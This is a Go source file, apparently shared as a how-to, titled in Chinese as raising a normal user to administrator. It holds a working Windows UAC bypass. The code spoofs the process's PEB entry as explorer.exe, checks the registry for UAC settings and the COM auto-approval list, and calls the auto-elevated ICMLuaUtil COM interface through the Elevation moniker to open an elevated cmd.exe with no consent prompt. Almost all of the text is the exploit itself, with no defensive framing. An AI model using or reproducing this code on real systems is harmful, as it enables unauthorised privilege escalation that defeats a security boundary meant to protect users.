golang实现普通升管理员权限
package mainimport ("fmt""os""path/filepath""runtime""syscall""unsafe""golang.org/x/sys/windows""golang.org/x/sys/windows/registry"
)var (modntdll = windows.NewLazySystemDLL("ntdll.dll")modole32 = windows.NewLazySystemDLL("ole32.dll")procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")procRtlGetCurrentPeb = modntdll.NewProc("RtlGetCurrentPeb")procCoInitializeEx = modole32.NewProc("CoInitializeEx")procCoUninitialize = modole32.NewProc("CoUninitialize")procCoGetObject = modole32.NewProc("CoGetObject")
)type cBIND_OPTS3 struct {cbStruct uint32grfFlags uint32grfMode uint32dwTickCountDeadline uint32dwTrackFlags uint32dwClassContext uint32locale uint32pServerInfo *uintptrhwnd *uintptr
}const (releaseOffset = 2shellExecuteOffset = 9cSEE_MASK_DEFAULT = 0
)type cUNICODE_STRING struct {Length uint16MaximumLength uint16Buffer *uint16
}type cLIST_ENTRY struct {Flink *cLIST_ENTRYBlink *cLIST_ENTRY
}/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-* engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */type cLDR_DATA_TABLE_ENTRY struct {Reserved1 [2]uintptrInMemoryOrderLinks cLIST_ENTRYReserved2 [2]uintptrDllBase uintptrReserved3 [2]uintptrFullDllName cUNICODE_STRINGReserved4 [8]byteReserved5 [3]uintptrReserved6 uintptrTimeDateStamp uint32
}type cPEB_LDR_DATA struct {Reserved1 [8]byteReserved2 [3]uintptrInMemoryOrderModuleList cLIST_ENTRY
}type cPEB struct {Reserved1 [2]byteBeingDebugged byteReserved2 [1]byteReserved3 uintptrImageBaseAddress uintptrLdr *cPEB_LDR_DATAProcessParameters uintptrReserved4 [3]uintptrAtlThunkSListPtr uintptrReserved5 uintptrReserved6 uint32Reserved7 uintptrReserved8 uint32AtlThunkSListPtr32 uint32Reserved9 [45]uintptrReserved10 [96]bytePostProcessInitRoutine uintptrReserved11 [128]byteReserved12 [1]uintptrSessionId uint32
}const (// winuser.hSW_HIDE = 0SW_NORMAL = 1SW_SHOWNORMAL = 1SW_SHOWMINIMIZED = 2SW_SHOWMAXIMIZED = 3SW_MAXIMIZE = 3SW_SHOWNOACTIVATE = 4SW_SHOW = 5SW_MINIMIZE = 6SW_SHOWMINNOACTIVE = 7SW_SHOWNA = 8SW_RESTORE = 9SW_SHOWDEFAULT = 10SW_FORCEMINIMIZE = 11
)
const (cCLSCTX_LOCAL_SERVER = 4cCOINIT_APARTMENTTHREADED = 2
)func rtlInitUnicodeString(destinationString *cUNICODE_STRING, sourceString *uint16) {syscall.Syscall(procRtlInitUnicodeString.Addr(), 2, uintptr(unsafe.Pointer(destinationString)), uintptr(unsafe.Pointer(sourceString)), 0)return
}
func rtlGetCurrentPeb() (peb *cPEB) {r0, _, _ := syscall.Syscall(procRtlGetCurrentPeb.Addr(), 0, 0, 0, 0)peb = (*cPEB)(unsafe.Pointer(r0))return
}
func coInitializeEx(reserved uintptr, coInit uint32) (ret error) {r0, _, _ := syscall.Syscall(procCoInitializeEx.Addr(), 2, uintptr(reserved), uintptr(coInit), 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coGetObject(name *uint16, bindOpts *cBIND_OPTS3, guid *windows.GUID, functionTable ***[0xffff]uintptr) (ret error) {r0, _, _ := syscall.Syscall6(procCoGetObject.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(bindOpts)), uintptr(unsafe.Pointer(guid)), uintptr(unsafe.Pointer(functionTable)), 0, 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coUninitialize() {syscall.Syscall(procCoUninitialize.Addr(), 0, 0, 0, 0)return
}
func OpenCurrentProcessToken() (windows.Token, error) {p := windows.CurrentProcess()var t windows.Tokene := windows.OpenProcessToken(p, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &t)if e != nil {return 0, e}return t, nil
}// 检查是否为内置管理成员
func isAdmin(token windows.Token) bool {builtinAdminsGroup, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)if err != nil {return false}var checkableToken windows.Tokenerr = windows.DuplicateTokenEx(token, windows.TOKEN_QUERY|windows.TOKEN_IMPERSONATE, nil, windows.SecurityIdentification, windows.TokenImpersonation, &checkableToken)if err != nil {return false}defer checkableToken.Close()isAdmin, err := checkableToken.IsMember(builtinAdminsGroup)return isAdmin && err == nil
}
func TokenIsElevatedOrElevatable(token windows.Token) bool {if token.IsElevated() && isAdmin(token) {return true}linked, err := token.GetLinkedToken()if err != nil {return false}defer linked.Close()return linked.IsElevated() && isAdmin(linked)
}func findCurrentDataTableEntry() (entry *cLDR_DATA_TABLE_ENTRY, err error) {peb := rtlGetCurrentPeb()if peb == nil || peb.Ldr == nil {err = windows.ERROR_INVALID_ADDRESSreturn}for cur := peb.Ldr.InMemoryOrderModuleList.Flink; cur != &peb.Ldr.InMemoryOrderModuleList; cur = cur.Flink {entry = (*cLDR_DATA_TABLE_ENTRY)(unsafe.Pointer(uintptr(unsafe.Pointer(cur)) - unsafe.Offsetof(cLDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)))if entry.DllBase == peb.ImageBaseAddress {return}}entry = nilerr = windows.ERROR_OBJECT_NOT_FOUNDreturn
}
func main() {//获取进程TokenprocessToken, err := OpenCurrentProcessToken() //TODO: Change to windows.OpenCurrentProcessToken once https://go-review.googlesource.com/c/sys/+/192337 landsif err != nil {return}defer processToken.Close()// //判断当前进程是否可以升权if processToken.IsElevated() {fmt.Println("你已经是管理员!!")return}if !TokenIsElevatedOrElevatable(processToken) {fmt.Println("你已经是管理员!!")err = windows.ERROR_ACCESS_DENIEDreturn}//检查UAC是否开启key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE)if err != nil {return}promptBehavior, _, err := key.GetIntegerValue("ConsentPromptBehaviorAdmin")key.Close()if err != nil {return}if uint32(promptBehavior) == 0 {fmt.Println("关闭了UAC")err = windows.ERROR_SUCCESSreturn}if uint32(promptBehavior) != 5 {fmt.Println("UAC权限太高无法提权")err = windows.ERROR_ACCESS_DENIEDreturn}key, err = registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList", registry.QUERY_VALUE)if err == nil {var autoApproved uint64autoApproved, _, err = key.GetIntegerValue("{3E5FC7F9-9A51-4367-9063-A120244FBEC7}")key.Close()if err != nil {return}if uint32(autoApproved) == 0 {err = windows.ERROR_ACCESS_DENIEDreturn}}dataTableEntry, err := findCurrentDataTableEntry()if err != nil {return}windowsDirectory, err := windows.GetSystemWindowsDirectory()if err != nil {fmt.Println("err", err)return}originalPath := dataTableEntry.FullDllName.BufferexplorerPath := windows.StringToUTF16Ptr(filepath.Join(windowsDirectory, "explorer.exe"))rtlInitUnicodeString(&dataTableEntry.FullDllName, explorerPath)defer func() {rtlInitUnicodeString(&dataTableEntry.FullDllName, originalPath)runtime.KeepAlive(explorerPath)}()if err = coInitializeEx(0, cCOINIT_APARTMENTTHREADED); err == nil {defer coUninitialize()}var interfacePointer **[0xffff]uintptr//使用CoGetObject方法获取ICMLuaUtil接口的实例if err = coGetObject(windows.StringToUTF16Ptr("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"),&cBIND_OPTS3{cbStruct: uint32(unsafe.Sizeof(cBIND_OPTS3{})),dwClassContext: cCLSCTX_LOCAL_SERVER,},&windows.GUID{0x6EDD6D74, 0xC007, 0x4E75, [8]byte{0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}},&interfacePointer,); err != nil {return}exePath, _ := windows.UTF16PtrFromString("cmd.exe")arguments, _ := windows.UTF16PtrFromString("")pwd, _ := os.Getwd()workDir, _ := windows.UTF16PtrFromString(pwd)defer syscall.Syscall((*interfacePointer)[releaseOffset], 1, uintptr(unsafe.Pointer(interfacePointer)), 0, 0)if ret, _, _ := syscall.Syscall6((*interfacePointer)[shellExecuteOffset], 6,uintptr(unsafe.Pointer(interfacePointer)),uintptr(unsafe.Pointer(exePath)),uintptr(unsafe.Pointer(arguments)),uintptr(unsafe.Pointer(workDir)),cSEE_MASK_DEFAULT,uintptr(SW_SHOW),); ret != uintptr(windows.ERROR_SUCCESS) {err = syscall.Errno(ret)return}err = nil
}